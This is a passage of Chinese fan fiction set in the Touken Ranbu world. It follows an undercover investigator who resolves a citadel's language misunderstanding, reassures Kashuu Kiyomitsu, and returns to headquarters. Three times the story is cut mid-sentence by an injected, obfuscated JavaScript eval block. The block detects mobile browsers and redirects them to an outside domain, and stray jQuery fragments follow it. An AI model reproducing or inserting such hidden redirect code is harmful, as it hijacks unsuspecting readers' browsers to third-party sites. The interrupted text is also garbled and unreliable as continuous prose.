辉月一拍狐狸屁股,狐之助便逃也似的窜走了,一脑门扎进围着审神者的包围圈,凭借小身材穿梭在刀剑们的腿间,滑溜地钻到了审神者面前。
他们之后说了什么辉月便没再去在意了。
她干脆走远了更多,直接溜出了大广间。
大广间里正经了一通,又闹了一通,走到外面才发现本丸的天已黑。
审神者心情如何,看这月明星稀的晴朗夜空便已知晓,没有一丝一缕流云的遮掩,银白的月华流转倾泻,为本丸的树木亭廊镀上一层绒毛般的微光。
背后从大广间里传出的声音,一会响一会暗,颇有协奏曲此起彼伏的味道,听着情绪便会跟着波动。
但辉月不太喜欢这样,她按住自己的胸膛,强迫那颗心脏回到自己平稳的频率。
“调查结束了。”她望着夜空喃喃道,旁人看了只会以为是在自言自语,但他们知道这话是在跟谁说。
身边没有其他人,于是A56放心开口,“是的,这次也辛苦您了。”
即使是在另一个空间听着此处的响动,他也被大广间的声浪影响,语调不自觉地欢快上扬,跟他平日严谨又窝囊的样子不太相符,显出几分滑稽。
“接下来应该是你们的事了,怎么补偿以及长久地解决语言问题。”
辉月走到一旁的长廊上,选了一个最佳的角度坐下,此处抬头,神秘莫测的天空一览无余。夜色将她笼罩,月光将她照亮。
“辉月大人放心吧,我会向上反馈的。这种情况一般会派科研部的技术人员过来进行维修。维修时空位面吗,这样可以直接解决语言问题?真是想不通啊……”
这次的任务,辉月不是和其他刀剑在一起,就是在天守阁,难得有机会说上话、派上点作用,A56便刹不住车絮絮叨叨说个不停了,
“补偿的话,一般是赠送大量资源以及一把稀有刀剑,与语言有关的补偿,会派遣七星剑大人来这座本丸吧。本丸的刀剑大人们经此一事应该会想学习主人的语言,正好七星剑大人会一些。”
“维修人员什么时候到,到了我就能离开了吧。”辉月问出最在意的问题。
“诶?”A56惊讶出声,“您不多呆几天吗?刚刚大广间里的那些对话,听得我一个外人都感动了,氛围这么好的本丸您不准备在这里休假一段时间吗?”
担心辉月对特殊调查的漏洞并不清楚,A56立刻将潜规则告诉了她,
“调查期间如果觉得时机未到,或是觉得身体疲惫无法更好地完成调查,是可以看情况适当休息的。调查没有时间限制,既然这个本丸并无危险,您可以在这里多停留几天。”
说完他压低声音,搞得好像会有人在旁边偷听似的,
“这是从玉玲副队那听来的,完美带薪休假的方法,绝对可靠。”
难为他还记得走之前玉玲说的话。
辉月故意长叹一声,说,“这世上的悲欢并不相通,快乐是他们本丸的,我只觉得吵闹。”
通讯那端安静了片刻,随后A56紧张的声音响起,
“吵……吵闹吗?这,辉月大人您是心情不好吗?是调查过程中发生了什么吗?如果有什么需要帮助的,我会努力派上用场的。”
哦对,她差点忘了,这位时政员工可不是她的老乡,不知道什么周树人,听到这么一句怕是要误以为自己emo了。
“哈哈,开玩笑的~”
和审神者把话说通了,付丧神们终于了解他们的主人从始至终面临了怎样的难题,终于知道她为什么总是缄默不言、面色如霜,也终于了解那张冷面之下是怎样一颗柔软而炽热的心。
大家一致赞同要办一场宴会庆祝一下,至于庆祝什么……庆祝重新拥有审神者?这么说似乎不太客观,审神者一直都在本丸从来没有离开过。
庆祝审神者终于清醒,听起来又十分奇怪,说得好像遭遇意外昏迷不醒成了植物人一样。
说不清楚究竟要庆祝什么,他们只知道内心的喜悦是真切的、饱满的。
仿佛时隔多年找回了那串丢失在床板下的手链,仿佛故地重游又品尝到儿时爱吃的糖糕。不能说它失了,它一直都在那里,但重新拥有带来的满足与幸福是如此强烈,如此难忘。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15840568|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迫切需要一个合适的场合抒发,比如一场宴会。
对此审神者有些紧张,短短几次接触辉月已经明白,她是那种只有独处时才能真正自在下来的人,面前的人越多越会不由自主地端起来,具体表现在面无表情、不敢轻易开口,身体僵直反而显得亭亭如荷。不过是因为紧张罢了。
但紧张背后更多的是期待。
当辉月再次回到大广间,她主动对辉月说,“我好像可以不用翻译了。”
“怎么了?”辉月问。
那被辉月嫌弃的又宽又长的衣袖此刻被她攥在手中,她的神情如同开了光的珠光一样熠熠生辉,
“没啊,就是安定跟我说,清光把我画的小纸条用万屋买的玻璃板夹了起来,用边框固定后摆在了床边的柜子上。我突然觉得用画画交流好像也可以,其实不说话也可以诶。”
“你记住他们的名字了?”辉月问。
“啊嗯,因为很有特点,一个痣在嘴角,一个痣在眼尾,我就记住了。”审神者抬手点了点自己的脸。
“你就关注这些啊。”辉月无奈但并不意外地笑,“不过,记得很快啊,很厉害。”
“为什么要这么说话,好像我是个小孩是的,我们明明差不多大吧。”从辉月的语气里听出了哄人的味道,审神者不太乐意地嘟囔道。
“差不多大吗?看来审神者要了解的东西还有很多呢,哈哈哈哈,甚好甚好,学无止境,慢慢来吧。”
那天的最后,夜已过大半,审神者才回到天守阁睡下。
彼时,夜空已深沉地如墨水倾倒,其间唯一的亮色——月亮,慢慢踱步走过了天上大半的路程,正倚在树梢上歇息。
辉月并非最后一个离开天守阁的,但一定是走得最无留恋的那个。忙碌一天的她只想快点回部屋休息。
即使她很希望明天一早就能听见时政的技术人员敲开本丸的大门,乒乒乓乓维修起来,然后她就可以就着晨光踏上回总部的时空通道,说不定还能蹭上总部的早饭。
早饭也会是液体的吗?有没有肉包子浓缩液?自从上次在总部电梯里看到食堂的广告,她就好奇很久了。
然而A56告诉她,在本丸里加装自动翻译功能还是比较麻烦的,技术人员明天会来,但是是来检测该本丸的位面数据,获取精准数据之后才能开始维修,到时候可能需要辉月帮助一下。
至于维修则要等第三天。等维修正式,辉月就可以回总部了。
再多呆一天也好。可以把事情交代得更清楚,也能把分离时的情绪好好处理一下。辉月走在回部屋的路上,如此这般想。
或许是为了迎合审神者的喜好,本丸的植被十分茂密。
回部屋的路不比大广间,唯一的光源是头顶的月,路边的葱郁草木将那自天上洒下的微光遮挡得寥寥,更显幽暗。
植被茂密到一定程度便会如生出自我意志一般,多了些不该多的自由。枝丫长得张牙舞爪也就罢了,还要往人走的地方伸去,路过时不仔细看,只以为草丛里躲了只满身触手的怪兽,来人时便要扑上来拖走。
辉月不怕鬼怪,但看到那些奇形怪状的黑影,仍不免慢下脚步多观察两眼。
于是当前方显出一个形状格外不同的黑影时,她在瞧见的刹那停下了脚步。
身形细长,没有从主干延伸出六七八只“手”,显而易见,那不是树,是个人。
清冷月光被重重树影遮挡,落在地上只剩薄薄一层,从辉月的角度恰好能看见月光下的那双高跟长筒靴,是加州清光。
他独自站在前方的树影下,位置选得太好,只能看见腿,全然不见他的面容。树影将他能显示出情绪的部分全部笼罩,让人觉得阴沉,犹如一团聚满了水的乌云。
30.血色沉默11
本丸的谜题已经解开,审神者和刀剑付丧神之间也已说通,清光在这里等她,是还有什么问题吗?辉月一时想不到,于是开口。
“加州?”
随着名字被呼唤,他的身体微微晃动,像是夜晚被风吹拂过的树杈,在夜色笼罩下显得有些古怪。
“怎么了,是发生什么事情了吗?”思索片刻,辉月还是决定向他走去。
他的面容伴随距离的拉近一点一点地清晰起来,模糊的轮廓重新锋利,细长而明艳的红眼睛逐渐显现出本来的光泽。
“呐。”他对着辉月,舌头轻碰上颚就这么吐出一个字,但当辉月想要侧耳静听时,他却又不说话了。
可以肯定的是,加州清光是刻意等在她回去的路上,他抱着不为人知的心思,想要对她说些什么。但当辉月真的来到他面前,他却又态度迟疑、含糊其辞起来。
“嗯。”他似乎在思考什么。
拜托,不要站在树影下面摆出沉思而迟疑的姿态,这样看起来就像在为刺杀她做心理准备。而这个时候的她是绝对打不过身经百战的刀剑付丧神的。
“有什么话或许直接说出来会更好。”辉月如此提议。
“可以去你部屋里坐一会吗?”
当加州清光终于说出一句完整的话时,辉月大松一口气。太好了,只要不是来刺杀的,别说部屋里坐一会,坐到第二天都可以。她可不想调查结果都出来了,还要在回总部前碰上意外状况横插一脚。
两人踏着愈加倾斜的月光,回到了辉月所在的部屋。
之前也说过,这座本丸里的刀剑并不多,基本都是拖家带口的。回去的路上两人随意聊着,加州清光说到这件事。因为审神者一直待在天守阁,锻刀都是大家自己上手,姑且完成一下日课。审神者对出什么刀没有表达任何想法,大家自然也都顺着自己的心意,想着要把关系亲密的同伴、亲人带到这里。
于是就变成了现在这样拖家带口的状况,且打刀和短刀偏多。
姑且把辉月算作刀,本丸太刀居然只有她一把,三条派的人也一个没有。她就这么美滋滋地住进了宽敞单间。
位置接近短刀们的住所,回到部屋时隐约听见旁边传来此起彼伏的童声,或许是兴奋劲还没褪去。应当是鸣狐在催他们早点睡觉,本人温柔的声音在这样吵闹的背景声下自然是听不见的,只有狐狸的鸣叫格外响亮。
“哎呀哎呀,再不老老实实睡下,鸣狐要生气了哦。”
虚张声势,完全的恐吓。
“大家很开心啊。”辉月引着清光进入部屋,随意地说道。
“啊,是啊。”
相比辉月饶有兴致地侧耳去听那遥遥传来的声响,加州清光显得心不在焉,一整颗心还挂在那未曾说出口的话上。
隔壁部屋的声音渐渐淡去,短刀们终于一个接着一个乖乖躺进床铺,鸣狐带着狐狸轻轻合上门,往打刀部屋去。
这边的部屋里,辉月点上灯,橙黄色的灯光将整个空间填满,至少看上去驱散了所有带入屋内的阴霾。
当暖色的灯光从头顶铺天盖地地洒下,清光被从泥潭里拖出来似的,恍然之间如梦初醒。他环视空空荡荡的四周,对着辉月说,“一个人住如果寂寞的话,是可以重新分配部屋的哦。”
辉月说,“如你所闻,隔壁的孩子们都很有活力,与其说寂寞,不如说很热闹啊。”
“啊那就好。”
他的声音还有些飘忽,似乎还没有回到正常状态。
辉月注视他许久,从他古怪的脸色,到僵硬而缓慢的动作,许久之后才问,“加州想说的似乎不是这个吧?”
“……来到这里还适应吗?”清光回避了她的视线。
果然还是很奇怪啊,浑身上下哪里都奇怪,明明是主动要来的,进了部屋后却又绕着圈子说一些无关紧要的话。到底是想说什么呢?
直接发问一时之间是得不到回答了,那就继续闲聊吧,聊到一个合适的时机,就能有所进展了。
“嗯,大家都很好啊。不过,我一直有个问题,之前没有人考虑过保留伤口是不合理的吗?”
此番开始得莫名其妙、途中也不知所云的对话终于有了一个可以发展延生的话题,加州清光的注意力也由此被转移,不再纠结于心里的事。神态逐渐平缓,有恢复正常的趋势。
“不是没有想过啦,最初我们也会对带伤出阵感到迟疑。但是……很神奇,以负伤的状态战斗确实会让我们在紧要关头爆发出更强大的力量。这部分内容是初始刀培训里所没有的,大家甚至我都以为主人早已预见这种情况,一切不过是她的安排。我们甚至因此觉得主人很有想法很有决断,再也不怀疑了。嘛,我们现在依然这么觉得。”
加州清光低垂下眼眸,记忆拉回到那段时间,“想要发挥出更强大的力量,想要强大到能为主人带来一切胜利与荣光,大家是自愿如此的。我的话,我是觉得如果主人觉得伤痕累累是可爱的话,那我就变成那样好了。毕竟我们是刀剑啊,所追逐的无非就是这些。”
保持中伤及以上的受伤程度,再出阵受到攻击时会概率触发名为真剑必杀的强力一击,这确实是游戏里的设定,没想到在现实里也行。辉月在心里无奈发笑,这是误打误撞发明出了中伤碰瓷队啊。
一边回忆一边叙述,加州清光逐渐自然起来,一谈起审神者语调便轻快上扬,“而且,主人就是有一张让人信服的脸啊。没有波动,不会困扰,看着她就觉得安心,就会觉得要做的事情、要走的路一定是对的。”
“现在我们知道了,不过是言语不通的误会。”
“啊,是啊,反正我是不会那么做了。身上染上血腥味臭臭的,一点也不可爱。”只是说着他就仿佛闻到了那股香水也压不下去的味道,脸上露出了嫌弃的表情,“不过大家或许有不同的想法,很多人不在意受伤啦,相比之下超常爆发更有吸引力。”
毕竟是为战斗而生的刀剑啊,辉月对于他们追逐强大的天性不置可否,“还是要看她的意愿吧。”
加州清光愣了一下,随后反应过来,“她”是指他们的主人。虽然很困惑辉月为什么这么称呼主人,但似乎也不是大问题,相比上次的“审神者大人”还更亲近一些,他便没有再纠正。
“当然,我们会遵循主人的指示。
所以,主人的困扰,你是怎么察觉到的?”加州清光摸了摸额上的碎发,将它们往耳后捋去,动作看似自然却又带着不易发现的尴尬。
辉月敏锐地察觉到先前的一番对话已慢慢打开他的话匣子,如果再仔细一些,便能在半遮半掩间窥见他此行的意图,然而如果只是如果。
他这不费心的一问刚好难住了辉月,让她没办法按图索骥。
怎么察觉到的,因为她不是正统刀剑付丧神,她们灵魂同源,审神者一张口便发现了。
这能说吗?明显不能啊。不能被揭露非付丧神的身份,是他们特殊调查员的宗旨之一。
真相不能诉诸于口,可那双宝石一样的红眼睛正看着她,等待着她的回答。
心思百转,辉月数十次面试得来的临场发挥经验在这一刻派上用场。
当面试官问了你一个答不上来的问题怎么办,不要慌,慌了也别在脸上表现出来。首先
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853187|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,放慢语速重复他的问题。
“怎么察觉到的呢?”
好了现在你有了双倍思考的时间,抓紧时间脑筋急转弯吧。
就像面试被问没工作的那段时间做什么去了,肯定不能直接说躺在家里摆烂、到处旅游到处玩。你要说这段时间用于提升自我技能,沉淀过去经验,只是不想轻易做一个决定,对自己对公司都不负责,如今已经做好准备,抱着热情和期待想要在新的环境里发光发热。
现在你知道该怎么美化现实了,快来实践一下吧。
“说起来很凑巧,无意中看见审神者在自言自语,不禁觉得真是奇怪啊,审神者为什么不和大家说话呢?尝试直言希望为她解忧却没有得到回应。最后还是审神者大人果敢而英勇地踏出那一步,主动坦言才让我得以明白一切。”
听完辉月现编的一番话加州清光垂首沉默,就在辉月沉快不气想要再找补两句时,他突然说,“其实你也觉得我是个不称职的初始刀吧。”
辉月:?
我没说过啊,不要凭空污人清白。
“主人一直以来面临这样的难题,我却从来没有察觉到,呐,太不像话了吧。”说出最后一句时,他还勾起嘴角笑了一下,只是那弧度没有半分喜悦,反而带着自嘲的意味。
不要再说了,我要找你主人和大和守安定来了,让他们听听你说的什么话,然后一人一刀分别给你一个毛栗。
对他的话生出诸多不认可,然而迫于人设,辉月只能在心里呐喊。
“如果不是三日月来到这里,发现问题,主人会一直很难受吧,会对我们失望吧。不,即使是现在,她也应当对我失望了吧。”他的头同声音越来越低,辉月只能看见他头顶的发旋,连那小小的漩涡都有气无力。
原来他心里纠结的、困扰的是这件事啊,想来那时在天守阁外、在大广间的异常表现也是因为这个了。真是的,真是个需要好好被爱的孩子啊。
可事实并非是他说的那样,一切并不是他的问题。
如果辉月不是人类,没有当过审神者,以一个完全初生的付丧神而非调查员的身份来到这座本丸,她也会如本丸里的付丧神一样,自然而然地接受这里的规则并慢慢融入。
只是因为大家并不确定正常的范畴究竟是从哪到哪。即使是初始刀的培训也不会那么细节,即使是狐之助也不可能了解到所有可能会发生的状况。
没有人犯下关键性失误,依然会有接连不断的问题出现,这就是生活嘛。问题都解决了还要将责任推卸到某个具体的人身上?没品的人才会这么做。辉月不能接受这种复盘,与其这样不如平等地怪每一个人。
“如果要这样说的话,狐之助问题也很大呢,签订契约之前居然没有反复确认;审神者大人也是,也太稀里糊涂了吧,让她做什么就做什么,被人卖了都不知道。还有时政,让这种问题持续这么久都没有发现也太逊了。嗯,我也来得太晚了,把我一起怪了吧。”
阴阳怪气的话语一溜串地从她嘴里蹦出来,带着一往无前的气势,简直像是突然袭来的海啸,咆哮着地推翻挡路的每个事物,无论是高楼还是平房。
直到说完她才反应过来,啊呀,一时情绪上头ooc了。
还好面前的付丧神心本身不宁,平时的细致也失了敏锐度,没注意到这些。只是连连摆手着说,“喂喂,根本不是这回事吧~”
“加州清光,”辉月难得郑重地叫了他的全名,“你觉得审神者不喜欢你了吗?”
清光撇过头去,不太想直接承认,却又很难否认。
“你在臆断审神者的想法吗?”
31.血色沉默12
此话一出,加州清光全身一震,差点大叫起来,一瞬之间什么胡思乱想都抛到脑后了。
“我才……”他下意识大叫否认,但话没说完又迟疑了,真的有吗?想得太多,怀疑得太多,他连自己做了什么也无法确定了,“没有这么严重吧。”
“清光根本没有问她,是不是喜欢你吧?”
“这种事情怎么可能直接问啊。”
“没有得到确切回答却把自己的猜测当作是答案认可了,这不算臆断吗?”
那双嗫嚅的嘴唇里没能说出任何话,他看起来更萎靡了。
“真是遗憾啊,审神者明明那么信任你……”
在想要发出寻求帮助的信号时,她画出的那张简笔画交到了加州清光手中,没有任何言语的沟通,但冥冥之中她毫不怀疑他会理解她的意图。
“……那张纸条可是只给加州啊。”
在“信任”两个字从辉月嘴里出来时,他的眼里闪过亮光,但又很快被掩去,说到纸条的事情,加州清光慌张中带着不可置信地打断了她的话,“可是,可是主人要找的人是你啊。”
“哈哈哈只不过是这个性别占了优势罢了,真是一个美妙的巧合,但让加州误会是我和审神者都不想的事情啊。”辉月以袖掩面笑道。
闻言,探究的目光从那双红眼睛里射出,在辉月的脸上打转两圈,又描摹起整体的轮廓,“主人觉得女性更可爱么。求求主人动用一下灵力,应该还有机会变成女生吧。实在不行的话,穿女装也可以啦,那样我也会把自己打扮得很可爱的。”
在加州清光给自己制定好女子力提升计划前,辉月打断了他越飞越远的思绪,“加州,你可是初始刀啊。”
“是,我可是很努力地在做初始刀该做的事情。”
“不,我的意思是,你对她来说是不一样的。”
说这句话时,辉月沉静地望着他,想通过心灵的窗户将一些坚定一些信任传递给他,却只看见了他的沉默。
不过,即使是沉默,也无法阻隔心与心的交流。
“你对她来说是不一样的”,被刻意放轻的声音,像是恶魔的低语钻进他的脑海。那眼眸中对此深深的认同,也穿透了口与目冲进了他的身体。奇怪啊,他紧闭着嘴说不出认同的话,但他的心好像有自己的想法,背离身体的意志投了敌。
良久,他释然一般地叹了口气,紧绷许久的身体跟着松懈下来,“嘛,安定也总说我想太多。”
“毕竟是初始刀啊,毕竟是个诞生于沉默、浸润与血色中的本丸啊,不过,”想到明天时政的技术人员就会赶来进行数据收集分析,有这样一个爱操心的初始刀,有这样一个温和又有些胆小的审神者,从此之后,这里将会变成一个正常的、温馨的本丸。
想到这她对着清光露出一个充满希望的笑容,“以后不用这样了。”
刀剑们不用缩在角落里揣测着审神者的想法,不用担心这个担心那个。审神者也不用为无人说话、独守天守阁而孤寂,她可以回家了,而这里会成为她的第二个家。
审神者即使什么也不明白也有在意刀剑们,刀剑们看不透审神者也有努力在迎合她。以后大家都会幸福的。这座安静太久的本丸,将褪去红色的外衣,见证许多新的美好回忆。
“说好了,明天加州和我一起去找审神者,如果不把刚刚那些话当面对审神者说出来的话,那我也只能当一回打小报告的坏人了。”
又和清光聊了片刻,辉月和他做下了这样一个约定。加州清光虽很不情愿,总觉得这样大削他作为初始刀的可靠形象,但碍于辉月实在会唬人,他心里也知道这是为他好,最终仍是硬着头皮答应了。
临别时,辉月又强调一遍,还考虑到他临时变卦的可能性,硬生生把他反悔的小心思压了下去,他皱着眉头,烦躁地搓着自己身前的头发尖,“啊啊,知道了知道了。”
“早知道不跟三日月讲了,比安定还难搞啊。”听到清光撇过头盯着地板的纹路,小声地抱怨道,辉月忍不住轻笑出声。
次日,科研部的人一大早就来了。
这次辉月没有被人单独叫走,也没跟本丸里好奇心旺盛的刀剑们一样,听到声音便跑出去围着技术人员看个新鲜。昨晚大广间本就闹到很晚,把审神者送回天守阁安顿好,回去路上又被加州清光“劫持”,聊了一大通,等把人送走再睡下,天空都翻白肚子了。
那些刀剑付丧神身体好精力旺盛都不用睡觉,她可不行,就算换了个壳子,她的灵魂里依然倔强地刻录着对一天九小时睡眠的渴望。
几千年的老刀了,折腾一晚精神不济,懒个床很合理吧。以“绝对不算ooc”说服了自己,于是她一觉睡到了大中午。
阳光从轻柔到明媚,再到接近一天中最热烈,平野在用完午餐回屋午休的途中绕道来了她所在的部屋,这才把她叫醒了。
“三日月殿很累吗?”妹妹头短刀跪坐在她身边,似有担忧。
辉月从被褥中坐起身,使了百分之两百的力才遏制住伸个懒腰,再尽情打个大哈欠的渴望,“昨晚回来后,又和加州聊了会天,毕竟是老人家了,睡得太晚还是不行啊。”
“今天一早就看见加州殿了呢,从时政来的人就是他接待的。不知道为什么,从天守阁出来后,他心情看起来很好的样子,真好啊。”平野说。
辉月:……
如果没记错的话,天一亮隔壁就传来了很大的声响,然后就是轰隆隆的脚步声,似有一群人冲出部屋往同一个方向奔去。应该就是技术人员来了,短刀们去围观的动静吧。那可是天一亮啊,清光起那么早吗,还是根本没睡,年轻刀就是年轻啊。
这边辉月开始慢吞吞地穿衣服,那边平野已经自觉地帮她叠起被子来了。
好贴心……要不是这个不是自己的,她一定会狠狠揉搓那颗可爱又乖巧的妹妹头。
在平野的帮助下,辉月整理了头上、衣上的配饰,好一会功夫才装扮妥帖。虽然为此感到不好意思,但这也是角色扮演的一环啊!
昨晚和清光谈话一个没忍住ooc了,今日的装扮苦手又很好得弥补了昨日的失误。做不到像三日月那么通达且善解人心,但没有帮忙就穿不好那么复杂的衣服这一方面,这她就手到擒来根本无需表演了。
走出部屋,辉月又一次被这座本丸震撼到。
昨天夜里还在月色下泛着暗沉红光的本丸,仅仅一个上午便换了一幅样貌,效果堪比劳改犯出狱做生意赚多少捐多少,简直就是改头换面。
所有的红色被绿色替换,郁郁葱葱的树木,铺了一地宛如翠绿地毯的青草。建筑露出了原本的颜色,回廊曲折,部屋方正,好一个雅致小巧的庭院。
阳光明媚,风也温柔。不再有强势吸引注意的血腥味四周飘荡,在风拂过面颊的片刻,辉月恍然闻到了远处的花香。
犹如在气味复杂的地铁里硬撑着写了万字大章,突然转移到了家里,打开护眼模式又点起熏香,眼睛、鼻子全部解放,一下子太舒服,倒叫人不适应了。
远远还能听见加州清光督促大家干活的声音,“这边的墙角还有点血迹,我来吧,那边的花坛下面就麻烦大家了。”
声音慢慢靠近,“喂,安定是在偷懒吧,会让人变脏的活我都干了,你可别想躲掉。”
辉月看着一红一蓝两个人从那边走过来,两人都穿着内番服。真是稀奇,她居然能在这个本丸瞧见内番服。
清光在旁边对着安定指指点点,而那个被指着的人却兀自打了个大大的哈欠,眼泪都从眼角挤出来了。
真好啊,这就是辉月起床时想打的哈欠。
“可是真的很困啊,一大早已经把整——个本丸翻来覆去清理一遍了,还没结束。你今天到底吃错什么药了,那么亢奋。”
清光正想回嘴些什么,扭头看见正站在部屋门口的辉月和平野,安定顺着他的眼神也看见了两人,立刻摇手以高声呼唤打断了清光的回嘴读条,“三日月,平野,午好呀。”
招呼都打了,那只能先把刚刚的事放一下,清光将马上就能说出口的话吞了回去,憋屈地跟着安定向两人走来。
他和辉月对视一眼,不约而同地想到了昨晚的约定,在辉月开口之前,清光抢先说道,“诶,我可是一起床就去找主人了哦。”
“是因为有人在会不好意思吗?”辉月笑着问。
“什么,”清光摸了摸脖子,不自然地转移了视线,“才没有。”
“什么什么,就是一大早看到你手里拿的一叠纸条吗?原来和主人有关,怪不得清光今天一天都好兴奋。”
清光抬抬手肘将安定拱了开来。
听到两人的话,辉月也大致知道早上发生了什么,她收起开玩笑的不正经,认真对清光说,“为你高兴。”
清光欲盖弥彰地咳嗽两声,将话题扯了开来,“刚起床?该说不愧是老人家吗?”
“当然比不了你们年轻人,不过,还真是不尊老呢。”第一次自称老人家辉月还会感到不好意思,毕竟她再怎么也不过是个妙龄少女,是的,少女,别问到底多大,女人至死是少女。而现在,她已脱胎换骨,自然而然地以老人自称,毫无别扭感。
在清光“现在去还能吃到饭哦”的声音里,她慢悠悠地向大广间而去。
这一天过得飞快,真是应了那句话,“美好的时间总是短暂”。当本丸还是血糊糊的时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867839|172683||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
候,她几乎是用探究的目光犁过每一块地、观察每一个人,仔仔细细度过了将近一周,等到本丸正常回来,她却马上就要走了。
她就是这样一个追逐着异常而走,注定要干出一番大事来的女人啊。
又次日,又来了几个时政的工作人员,让审神者以及所有付丧神呆在部屋,他们要开始进行整个时空位面的维修了。
A56告诉她,是时候走了,不然维修时期这片时空位面会暂时封锁,无法出入。
于是辉月最后一次来到天守阁,最后一次见到这座本丸的审神者。
“你、你要走了?”听闻辉月向她辞别,审神者发出了对她而言百年难遇的大音量。
旁边两个正在准备维修的技术人员,听到声音忍不住偏头看了两人一眼,又看了一眼。没有全自动翻译装置,他们也和两人正在使用的语言不相通,看了一眼又一眼不过是因为,‘嚯,女装三日月,这位审神者有点东西啊’。
根本没有在意旁边的人,因为辉月相信大家的脑补能力,联想到的东西一定比什么‘人与付丧神融合化身特殊调查员’精彩得多,她向审神者颔首,再次郑重地说,“是的,我要走了。”
“可是,来到我的本丸,你不就是我的了吗?”刚刚了解清楚时□□丧神和审神者的关系的女人尚且懵懵懂懂,看着辉月,那双曾经冰透的眼睛现在盛着许多不舍。看来她的本丸生活适应得还不错,短短两天已经对付丧神熟悉许多,曾经的回忆席卷而来,那些已经产生不过是被埋于心底的情感悄然复苏,后知后觉地充盈了她空洞的心。
“刚刚时政的工作人员跟我说,似乎是出了什么问题。如您所见,我跟其他付丧神不一样,或许本就不应该出现在这里的。”这是不久前与A56一起商定的解释话术,上次任务的说法不知道为什么不让用了。A56说,以后不能跟任务本丸的成员解释她是因为时政来到这里,只能说是失误,这是上面新下的通知。
很有意思的变化,辉月推测似乎是这方面的政策出现了调整,或许是特殊调查的保密级别又加高了。但是是只有她这样,还是所有特殊调查都这样,她就不得而知了。
“啊……”审神者惋惜叹道。
不过片刻她撇了眼桌上摆着的七星剑,重新又振作起来,“我明白了。”
她伸手抚摸剑身,从金属部分沿着刀的走势一路滑近,指尖停留在刀柄上随后握住,带着不必直言已能窥见的决心,“我可以的。”
“你还记得我上次说,我发现好像不用说话也能和大家相处了。早上清光来找我,我们用纸条聊了许久,图画和文字不一样,可能我们有很多地方都没有搞懂对方,但是,好神奇,我觉得特别开心。”
审神者转动手腕,挪动手指,摩挲着手中的刀柄,“明明是才认识不久,我却那么依赖你,真奇妙啊。不过,我现在可以确定,你离开也没关系了,我可以做到的。”
“这样么,那太好了。”辉月发自内心地说道,“那么您曾经困惑过的,审神者到底要做什么,是否有想法了呢?”
审神者将七星剑放回桌上,对辉月缓缓摇头,做着象征着否定的动作,她却神采飞扬不见迟疑,“还是不明白啊,虽然不明白,却不害怕了呢。如果说那天在大广间答应要留下来,很大一部分来自于责任感。然而清醒地在本丸度过两天后,我发现,原来曾有那么多可爱的细节被我忽略了。”
再次望向那扇她停驻过无数次的窗,被窗框框住的景色与往常并无半分不同。相比过去的那一个多月,她却看见了更为丰富的色彩。窗边的花坛无时无刻不绽放着新鲜的花卉,不远处人影围成一团,隐约瞧见窜来窜去的狐狸,天守阁的门大敞着,偶尔能听见熟悉的声音,是拌嘴或是玩闹,从前未曾注意过的齐齐涌进了她的心里。
“至于那个答案,反正大家会陪我一起找的吧。”
她转头对着辉月笑。
古老的七星剑平放在桌面上,一掌之隔的旁边,单独摆着一个白瓷花瓶,里面湛蓝的小花正纵情绽放着,是错觉吗?还是因为来到本丸里喝着好水,每日下午还会被挪到窗边晒太阳,如今的它开得比初见更漂亮。
是第一次出阵的时候带回来的野花啊。还以为会被移植到窗外的花坛里,不想却在这里见到了它。
进了本丸有了审神者灵力的供养,原本一个月不到便要凋谢的花如今有着更漫长的花季了。它将在这里见证这座本丸的审神者第一次阅览通告,或许字字专心,或许百无聊赖;第一次撰写公文报告,或亲力亲为,或写一半就抓耳挠腮开始呼唤近侍代笔。
它将见证这个本丸逐渐走上正轨。
就这么继续绽放下去吧。
32.再回总部
很难说是本性如此,还是受到了三日月宗近神力的影响,辉月在时政主楼里迷路了。
半刻钟前,她一个人穿过定向时空通道回到总部。A56提议要到主楼门口接她,两人一同前往医疗室进行惯例检查,被辉月驳回。
她想,我一个成年人,上次跟着安武灰和溯阳走过一遍的路,这次难道还需要人带吗?何况只要坐坐电梯。
然而事实证明,她靠自己还真找不到。
一进电梯她就发现上次坐的时候光顾着看电梯里的立体广告,没注意安武灰按的几楼。
在脑海里翻江倒海勉强找出来些模糊记忆,她挑了一个差不多高的按钮按下。一出门,嗯,白花花的墙壁,淡淡的近似消毒水的味道,安静到不行的环境,找对路没跑了。
等她走出电梯,走出一段距离,就知道模糊的感觉终究是不可靠的。
上次路过的办公室不见踪影,在地丁的帮助下做检查的那间治疗室也没能发现,走廊两侧尽是关着的门。
难得路过一间开着的,里面也是休息室一样的布局,跟之前那层截然不同。
是不是走错了,辉月正想着该找个人问问路,就听见走廊前方传来朦胧的话语声。
